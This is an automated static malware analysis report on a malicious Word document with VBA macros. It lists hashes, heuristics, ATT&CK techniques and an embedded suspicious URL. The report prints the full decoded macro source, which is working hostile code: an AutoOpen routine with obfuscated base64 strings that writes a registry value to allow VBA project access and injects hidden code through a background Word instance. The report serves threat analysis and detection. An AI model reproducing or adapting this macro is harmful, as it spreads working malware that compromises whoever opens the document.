Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 62c98ba42575fa94…

MALICIOUS

Office (OOXML) / .DOC

169.5 KB Created: 2021-04-28 05:35:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: 589874b1b5462738e72996118d8d0aac SHA-1: 0c7943b89e1afd0740dcda38b0458d106072c5dd SHA-256: 62c98ba42575fa94cd5021da0038949835d14dbfcbcda2f4527dd8713fa50a6a
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1505.003 Server Software Component: Exploit Public-Facing Application T1497.001 Virtualization/Sandbox Evasion: System Checks

This OOXML document contains VBA macros, indicated by the 'OOXML_VBA' and 'OLE_VBA_AUTOOPEN' heuristics. The 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic suggests the macro attempts to copy itself, and the 'OLE_VBA_CREATEOBJ' heuristic points to the execution of arbitrary code. The VBA code explicitly uses 'CreateObject("word.application")' and manipulates the 'ThisDocument' component, confirming its intent to execute and potentially replicate.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    responseIndexDelete.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString funcDocument
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ptrSize = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://goose-gaines2011.com/bijol/31815/15915/Ebkqanyvr/o4Esy9Fj/J47u3zVsm9UeR/q/H8Rko In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2867 bytes
SHA-256: 03fa54e6da4d3d2b1a52920aa438512901b071b2c0c0ad8642c028c7975f6330
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{E112F162-19A0-4F5A-B09F-07BDBAA5E654}{48E0918E-77D0-435C-9C98-57114A0A576A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "tableViewView"
Sub autoopen()
libFunc
Dim ptrRightIndex As String
ptrRightIndex = countCounter
querySizeGlobal ptrRightIndex
End Sub

Attribute VB_Name = "exceptionList"
Function responseArgumentRepo(procedureText As String) As Variant
Dim ptrSize As Object
Dim deleteConst As Object
Set ptrSize = CreateObject("msxml2.domdocument")
Set deleteConst = ptrSize.createElement("code")
deleteConst.DataType = "bin.base64"
deleteConst.Text = procedureText
responseArgumentRepo = deleteConst.nodeTypedValue
End Function
Function varTextboxLoad(textVbRef, databaseCounter)
varTextboxLoad = StrConv(textVbRef, databaseCounter)
End Function

Attribute VB_Name = "documentText"
Sub querySizeGlobal(funcDocument As String)
Set constCount = CreateObject("word.application")
Set responseIndexDelete = constCount.Documents.Add
responseIndexDelete.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString funcDocument
constCount.Visible = False
constCount.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "globalExceptionValue"
Function vbCountVariable() As String
vbCountVariable = Application.Version
End Function
Function vbArrayScreen()
vbArrayScreen = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function listboxRightLib()
listboxRightLib = "cript.sh"
End Function
Function queryFunc()
queryFunc = "VjdXJpdHlcQWN"
End Function
Sub libFunc()
databaseData = varTextboxLoad(responseArgumentRepo("SEtFWV9DVVJSR" & vbArrayScreen & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
vbOptionOption = vbCountVariable
textArgument = varTextboxLoad(responseArgumentRepo("XFdvcmRcU2" & queryFunc & "jZXNzVkJPTQ=="), vbUnicode)
genericNamespace = databaseData & vbOptionOption & textArgument
With CreateObject("ws" & listboxRightLib & "ell")
.RegWrite genericNamespace, 1, "REG_DWORD"
End With
End Sub
Public Function tableLen(ByVal nextViewArgument As String) As String
For rightCount = 1 To Len(nextViewArgument) Step 2
requestLoadStruct = Chr$(Val("&H" & Mid$(nextViewArgument, rightCount, 2)))
funcIterator = funcIterator & requestLoadStruct
Next rightCount
tableLen = funcIterator
End Function
Function countCounter()
countCounter = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 8a6131b7595b466ab8fcffcdae24f8ebb17ea245079101427c57c775eb3408ef